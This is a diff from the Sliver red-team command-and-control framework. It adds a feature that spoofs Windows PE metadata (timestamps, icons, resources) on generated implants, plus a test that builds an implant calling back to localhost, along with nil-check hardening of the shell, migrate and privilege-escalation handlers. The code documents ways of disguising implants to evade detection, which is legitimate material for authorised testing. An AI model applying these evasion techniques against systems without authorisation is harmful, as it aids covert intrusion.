tmpFile, err := os.CreateTemp(assets.GetRootAppDir(), "tmp-spoof-metadata-*")
if err != nil {
rpcLog.Errorf("Failed to create temporary file: %s", err)
return nil, status.Error(codes.Internal, "failed to create temporary file")
}
defer os.Remove(tmpFile.Name())
if _, err = tmpFile.Write(buildData); err != nil {
_ = tmpFile.Close()
rcpGenLog.Errorf("Failed to write temporary build file: %s", err)
return nil, status.Error(codes.Internal, "failed to write temporary build file")
}
if err = tmpFile.Close(); err != nil {
rcpGenLog.Errorf("Failed to close temporary build file: %s", err)
return nil, status.Error(codes.Internal, "failed to close temporary build file")
}
if err = generate.SpoofMetadata(tmpFile.Name(), spoofConfig); err != nil {
return nil, status.Error(codes.InvalidArgument, err.Error())
}
modifiedBuildData, err := os.ReadFile(tmpFile.Name())
if err != nil {
return nil, rpcError(err)
}
if err = generate.ImplantBuildUpdateFile(build, modifiedBuildData); err != nil {
rpcLog.Errorf("Failed to update build %s: %s", build.ID, err)
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
EventType: consts.BuildCompletedEvent,
Data: []byte(build.Name),
})
return &commonpb.Empty{}, nil
}
func spoofMetadataTargetBuild(req *clientpb.GenerateSpoofMetadataReq) (*clientpb.ImplantBuild, error) {
if req == nil {
return nil, status.Error(codes.InvalidArgument, "missing request")
}
var (
build *clientpb.ImplantBuild
err error
)
selected := 0
if req.GetImplantBuildID() != "" {
selected++
build, err = db.ImplantBuildByID(req.GetImplantBuildID())
if err != nil {
return nil, status.Error(codes.InvalidArgument, "invalid implant build id")
}
}
if req.GetImplantName() != "" {
selected++
build, err = db.ImplantBuildByName(req.GetImplantName())
if err != nil {
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
}
}
if req.GetResourceID() != 0 {
selected++
build, err = db.ImplantBuildByResourceID(req.GetResourceID())
if err != nil || build.GetID() == "" {
return nil, status.Error(codes.InvalidArgument, "invalid resource id")
}
}
if selected != 1 {
return nil, status.Error(codes.InvalidArgument, "exactly one build selector is required (implant_build_id, implant_name, or resource_id)")
}
return build, nil
}
func spoofMetadataConfigFromProto(req *clientpb.SpoofMetadataConfig) (*generate.SpoofMetadataConfig, error) {
if req == nil {
return nil, status.Error(codes.InvalidArgument, "missing spoof metadata configuration")
}
config := &generate.SpoofMetadataConfig{}
if req.GetPE() != nil {
resourceDirectory, err := imageResourceDirectoryFromProto(req.GetPE().GetResourceDirectory())
if err != nil {
return nil, status.Error(codes.InvalidArgument, err.Error())
}
exportDirectory, err := imageExportDirectoryFromProto(req.GetPE().GetExportDirectory())
if err != nil {
return nil, status.Error(codes.InvalidArgument, err.Error())
}
config.PE = &generate.PESpoofMetadataConfig{
Source: spoofMetadataFileFromProto(req.GetPE().GetSource()),
Icon: spoofMetadataFileFromProto(req.GetPE().GetIcon()),
ResourceDirectory: resourceDirectory,
ResourceDirectoryEntries: imageResourceDirectoryEntriesFromProto(req.GetPE().GetResourceDirectoryEntries()),
ResourceDataEntries: imageResourceDataEntriesFromProto(req.GetPE().GetResourceDataEntries()),
ExportDirectory: exportDirectory,
}
}
if config.PE == nil {
return nil, status.Error(codes.InvalidArgument, "spoof metadata has no supported executable format")
}
return config, nil
}
func spoofMetadataFileFromProto(req *clientpb.SpoofMetadataFile) *generate.SpoofMetadataFile {
if req == nil {
return nil
}
return &generate.SpoofMetadataFile{
Name: req.GetName(),
Data: req.GetData(),
}
}
func imageResourceDirectoryFromProto(req *clientpb.IMAGE_RESOURCE_DIRECTORY) (*generate.IMAGE_RESOURCE_DIRECTORY, error) {
if req == nil {
return nil, nil
}
major, err := uint16Field("pe.resource_directory.major_version", req.GetMajorVersion())
if err != nil {
return nil, err
}
minor, err := uint16Field("pe.resource_directory.minor_version", req.GetMinorVersion())
if err != nil {
return nil, err
}
namedEntries, err := uint16Field("pe.resource_directory.number_of_named_entries", req.GetNumberOfNamedEntries())
if err != nil {
return nil, err
}
idEntries, err := uint16Field("pe.resource_directory.number_of_id_entries", req.GetNumberOfIdEntries())
if err != nil {
return nil, err
}
return &generate.IMAGE_RESOURCE_DIRECTORY{
Characteristics: req.GetCharacteristics(),
TimeDateStamp: req.GetTimeDateStamp(),
MajorVersion: major,
MinorVersion: minor,
NumberOfNamedEntries: namedEntries,
NumberOfIdEntries: idEntries,
}, nil
}
func imageResourceDirectoryEntriesFromProto(req []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY) []*generate.IMAGE_RESOURCE_DIRECTORY_ENTRY {
if len(req) == 0 {
return nil
}
entries := make([]*generate.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(req))
for _, entry := range req {
if entry == nil {
continue
}
entries = append(entries, &generate.IMAGE_RESOURCE_DIRECTORY_ENTRY{
Name: entry.GetName(),
OffsetToData: entry.GetOffsetToData(),
})
}
return entries
}
func imageResourceDataEntriesFromProto(req []*clientpb.IMAGE_RESOURCE_DATA_ENTRY) []*generate.IMAGE_RESOURCE_DATA_ENTRY {
if len(req) == 0 {
return nil
}
entries := make([]*generate.IMAGE_RESOURCE_DATA_ENTRY, 0, len(req))
for _, entry := range req {
if entry == nil {
continue
}
entries = append(entries, &generate.IMAGE_RESOURCE_DATA_ENTRY{
OffsetToData: entry.GetOffsetToData(),
Size: entry.GetSize(),
CodePage: entry.GetCodePage(),
Reserved: entry.GetReserved(),
})
}
return entries
}
func imageExportDirectoryFromProto(req *clientpb.IMAGE_EXPORT_DIRECTORY) (*generate.IMAGE_EXPORT_DIRECTORY, error) {
if req == nil {
return nil, nil
}
major, err := uint16Field("pe.export_directory.major_version", req.GetMajorVersion())
if err != nil {
return nil, err
}
minor, err := uint16Field("pe.export_directory.minor_version", req.GetMinorVersion())
if err != nil {
return nil, err
}
return &generate.IMAGE_EXPORT_DIRECTORY{
Characteristics: req.GetCharacteristics(),
TimeDateStamp: req.GetTimeDateStamp(),
MajorVersion: major,
MinorVersion: minor,
Name: req.GetName(),
Base: req.GetBase(),
NumberOfFunctions: req.GetNumberOfFunctions(),
NumberOfNames: req.GetNumberOfNames(),
AddressOfFunctions: req.GetAddressOfFunctions(),
AddressOfNames: req.GetAddressOfNames(),
AddressOfNameOrdinals: req.GetAddressOfNameOrdinals(),
}, nil
}
func uint16Field(fieldName string, value uint32) (uint16, error) {
if value > 0xffff {
return 0, fmt.Errorf("%s value %d exceeds uint16", fieldName, value)
}
return uint16(value), nil
}
// ImplantBuilds - List existing implant builds
func (rpc *Server) ImplantBuilds(ctx context.Context, _ *commonpb.Empty) (*clientpb.ImplantBuilds, error) {
builds, err := db.ImplantBuilds()
+213
View File
@@ -0,0 +1,213 @@
package rpc
import (
"bytes"
"context"
"encoding/binary"
"fmt"
"net"
"os"
"path/filepath"
"sync"
"testing"
"time"
"github.com/Binject/debug/pe"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/db"
generatePkg "github.com/bishopfox/sliver/server/generate"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/test/bufconn"
)
var (
spoofGenerateSetupOnce sync.Once
spoofGenerateSetupErr error
)
func TestGenerateSpoofMetadataAppliesPETimestampOverBufnet(t *testing.T) {
if testing.Short() {
t.Skip("skipping generate/spoof integration test in -short mode")
}
setupGenerateSpoofTest(t)
client, cleanup := newBufnetRPCClient(t)
defer cleanup()
buildName := fmt.Sprintf("rpc-spoof-metadata-%d", time.Now().UnixNano())
t.Cleanup(func() {
_ = RemoveBuildByName(buildName)
_ = os.RemoveAll(filepath.Join(generatePkg.GetSliversDir(), "windows", "amd64", buildName))
})
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
defer cancel()
generateResp, err := client.Generate(ctx, &clientpb.GenerateReq{
Name: buildName,
Config: &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
Debug: true,
ObfuscateSymbols: false,
C2: []*clientpb.ImplantC2{
{URL: "http://127.0.0.1"},
},
HTTPC2ConfigName: consts.DefaultC2Profile,
},
})
if err != nil {
t.Fatalf("Generate() error: %v", err)
}
origData := generateResp.GetFile().GetData()
if len(origData) == 0 {
t.Fatal("Generate() returned empty file data")
}
origTimestamp, err := peFileTimestamp(origData)
if err != nil {
t.Fatalf("parse generated PE timestamp: %v", err)
}
// Create a donor PE by modifying only the PE header timestamp.
spoofTimestamp := origTimestamp + 1337
donorData, err := setPEFileTimestamp(origData, spoofTimestamp)
if err != nil {
t.Fatalf("set donor PE timestamp: %v", err)
}
donorTimestamp, err := peFileTimestamp(donorData)
if err != nil {
t.Fatalf("parse donor PE timestamp: %v", err)
}
if donorTimestamp != spoofTimestamp {
t.Fatalf("donor timestamp mismatch: got=%d want=%d", donorTimestamp, spoofTimestamp)
}
spoofReq := &clientpb.GenerateSpoofMetadataReq{
ImplantBuildID: generateResp.GetImplantBuildID(),
SpoofMetadata: &clientpb.SpoofMetadataConfig{
PE: &clientpb.PESpoofMetadataConfig{
Source: &clientpb.SpoofMetadataFile{
Name: "donor.exe",
Data: donorData,
},
},
},
}
if spoofReq.GetImplantBuildID() == "" {
t.Fatal("Generate() returned empty ImplantBuildID")
}
if _, err := client.GenerateSpoofMetadata(ctx, spoofReq); err != nil {
t.Fatalf("GenerateSpoofMetadata() error: %v", err)
}
regenerated, err := client.Regenerate(ctx, &clientpb.RegenerateReq{ImplantName: buildName})
if err != nil {
t.Fatalf("Regenerate() error: %v", err)
}
modifiedData := regenerated.GetFile().GetData()
if len(modifiedData) == 0 {
t.Fatal("Regenerate() returned empty file data")
}
modifiedTimestamp, err := peFileTimestamp(modifiedData)
if err != nil {
t.Fatalf("parse modified PE timestamp: %v", err)
}
if modifiedTimestamp != spoofTimestamp {
t.Fatalf("spoofed PE timestamp mismatch: got=%d want=%d", modifiedTimestamp, spoofTimestamp)
}
if modifiedTimestamp == origTimestamp {
t.Fatalf("expected PE timestamp to change from %d", origTimestamp)
}
}
func setupGenerateSpoofTest(t *testing.T) {
t.Helper()
spoofGenerateSetupOnce.Do(func() {
assets.Setup(false, false)
certs.SetupCAs()
_, err := db.LoadHTTPC2ConfigByName(consts.DefaultC2Profile)
if err == nil {
return
}
spoofGenerateSetupErr = db.SaveHTTPC2Config(configs.GenerateDefaultHTTPC2Config())
})
if spoofGenerateSetupErr != nil {
t.Fatalf("setup generate/spoof test prerequisites: %v", spoofGenerateSetupErr)
}
}
func newBufnetRPCClient(t *testing.T) (rpcpb.SliverRPCClient, func()) {
t.Helper()
ln := bufconn.Listen(2 * 1024 * 1024)
grpcServer := grpc.NewServer(
grpc.MaxRecvMsgSize(64<<20),
grpc.MaxSendMsgSize(64<<20),
)
rpcpb.RegisterSliverRPCServer(grpcServer, &Server{})
go func() {
_ = grpcServer.Serve(ln)
}()
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
conn, err := dialBufConn(ctx, ln)
cancel()
if err != nil {
grpcServer.Stop()
_ = ln.Close()
t.Fatalf("dial grpc/bufconn: %v", err)
}
cleanup := func() {
_ = conn.Close()
grpcServer.Stop()
_ = ln.Close()
}
return rpcpb.NewSliverRPCClient(conn), cleanup
}
func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
return grpc.DialContext(ctx, "bufnet",
grpc.WithContextDialer(dialer),
grpc.WithTransportCredentials(insecure.NewCredentials()),
grpc.WithDefaultCallOptions(
grpc.MaxCallRecvMsgSize(64<<20),
grpc.MaxCallSendMsgSize(64<<20),
),
)
}
func peFileTimestamp(data []byte) (uint32, error) {
peFile, err := pe.NewFile(bytes.NewReader(data))
if err != nil {
return 0, err
}
defer peFile.Close()
return peFile.FileHeader.TimeDateStamp, nil
}
func setPEFileTimestamp(data []byte, timestamp uint32) ([]byte, error) {
if len(data) < 0x40 {
return nil, fmt.Errorf("invalid PE data length: %d", len(data))
}
cloned := append([]byte(nil), data...)
peHeaderOffset := int(binary.LittleEndian.Uint32(cloned[0x3c:0x40]))
if peHeaderOffset < 0 || peHeaderOffset+12 > len(cloned) {
return nil, fmt.Errorf("invalid PE header offset: %d", peHeaderOffset)
}
binary.LittleEndian.PutUint32(cloned[peHeaderOffset+8:peHeaderOffset+12], timestamp)
return cloned, nil
}
+3
View File
@@ -52,6 +52,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
resp := &clientpb.DllHijack{
Response: &commonpb.Response{},
}
if req == nil || req.Request == nil {
return resp, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return resp, ErrInvalidSessionID
+3 -2
View File
@@ -80,8 +80,9 @@ func (rpc *Server) RestartJobs(ctx context.Context, restartJobReq *clientpb.Rest
if err != nil {
return &commonpb.Empty{}, rpcError(err)
}
listenerJob.JobID = uint32(job.ID)
db.UpdateHTTPC2Listener(listenerJob)
if err := db.UpdateListenerJobID(jobID, uint32(job.ID)); err != nil {
return &commonpb.Empty{}, rpcError(err)
}
}
return &commonpb.Empty{}, nil
}
+5
View File
@@ -37,6 +37,11 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
beacon *models.Beacon
err error
)
if kill == nil || kill.Request == nil {
return &commonpb.Empty{}, ErrMissingRequestField
}
session := core.Sessions.Get(kill.Request.SessionID)
if session == nil {
beacon, err = db.BeaconByID(kill.Request.BeaconID)
+10
View File
@@ -38,6 +38,11 @@ var (
func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) {
var os string
var arch string
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -90,6 +95,11 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*sliverpb.Task, error) {
var os string
var arch string
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
+4
View File
@@ -28,6 +28,10 @@ import (
// Portfwd - Open an in-band port forward
func (s *Server) Portfwd(ctx context.Context, req *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+8
View File
@@ -83,6 +83,10 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
name string
)
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
@@ -159,6 +163,10 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
// GetPrivs - gRPC interface to get privilege information from the current process
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
sessionID := req.Request.SessionID
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
+4
View File
@@ -33,6 +33,10 @@ const maxNameLength = 32
// Reconfigure - Reconfigure a beacon/session
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
// We have to preserve these because GenericHandler clears them in req.Request
sessionID := req.Request.SessionID
beaconID := req.Request.BeaconID
+8
View File
@@ -38,6 +38,10 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
// StartRportfwdListener - Instruct the implant to start a reverse port forward
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
@@ -55,6 +59,10 @@ func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.Rpor
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
+8
View File
@@ -49,6 +49,10 @@ func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientp
// KillSession - Kill a session
func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
if kill == nil || kill.Request == nil {
return &commonpb.Empty{}, ErrMissingRequestField
}
session := core.Sessions.Get(kill.Request.SessionID)
if session == nil {
return &commonpb.Empty{}, ErrInvalidSessionID
@@ -75,6 +79,10 @@ func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSe
// CloseSession - Close an interactive session, but do not kill the remote process
func (rpc *Server) CloseSession(ctx context.Context, closeSession *sliverpb.CloseSession) (*commonpb.Empty, error) {
if closeSession == nil || closeSession.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(closeSession.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+8
View File
@@ -36,6 +36,10 @@ var (
// Shell - Open an interactive shell
func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb.Shell, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
@@ -62,6 +66,10 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
// ShellResize - Resize a shell PTY (best effort)
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+11
View File
@@ -155,6 +155,13 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
rpcLog.Warnf("Error on stream recv %s", err)
return rpcError(err)
}
if fromClient == nil {
continue
}
if fromClient.Request == nil {
rpcLog.Warnf("Ignoring SOCKS frame with missing request metadata for tunnel %d", fromClient.TunnelID)
continue
}
tunnelMutex.Lock()
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
@@ -348,6 +355,10 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
if !ok {
break
}
if fromClient.Request == nil {
rpcLog.Error("Missing request metadata for SOCKS tunnel")
break
}
session := core.Sessions.Get(fromClient.Request.SessionID)
if session == nil {
+19
View File
@@ -67,6 +67,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async { // is this a session?
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -197,6 +201,11 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -267,6 +276,11 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
err error
arch string
)
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -315,6 +329,11 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
+2 -2
View File
@@ -1,9 +1,9 @@
package assets
const (
goVersion = "1.25.6"
goVersion = "1.25.7"
garbleVersion = "1.25.7"
zigVersion = "0.15.2"
garbleVersion = "1.25.6"
zigSourceParam = "source=sliver"
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
@@ -0,0 +1 @@
*.golden -text
+23
View File
@@ -0,0 +1,23 @@
.DS_Store
.envrc
examples/fullscreen/fullscreen
examples/help/help
examples/http/http
examples/list-default/list-default
examples/list-fancy/list-fancy
examples/list-simple/list-simple
examples/mouse/mouse
examples/pager/pager
examples/progress-download/color_vortex.blend
examples/progress-download/progress-download
examples/simple/simple
examples/spinner/spinner
examples/textinput/textinput
examples/textinputs/textinputs
examples/views/views
tutorials/basics/basics
tutorials/commands/commands
.idea
coverage.txt
dist/
+44
View File
@@ -0,0 +1,44 @@
version: "2"
run:
tests: false
linters:
enable:
- bodyclose
- exhaustive
- goconst
- godot
- gomoddirectives
- goprintffuncname
- gosec
- misspell
- nakedret
- nestif
- nilerr
- noctx
- nolintlint
- prealloc
- revive
- rowserrcheck
- sqlclosecheck
- tparallel
- unconvert
- unparam
- whitespace
- wrapcheck
exclusions:
rules:
- text: '(slog|log)\.\w+'
linters:
- noctx
generated: lax
presets:
- common-false-positives
issues:
max-issues-per-linter: 0
max-same-issues: 0
formatters:
enable:
- gofumpt
- goimports
exclusions:
generated: lax
+5
View File
@@ -0,0 +1,5 @@
# yaml-language-server: $schema=https://goreleaser.com/static/schema-pro.json
version: 2
includes:
- from_url:
url: charmbracelet/meta/main/goreleaser-lib.yaml
Loaded 100 of 342 files, more files were not shown because too many files have changed in this diff. Show more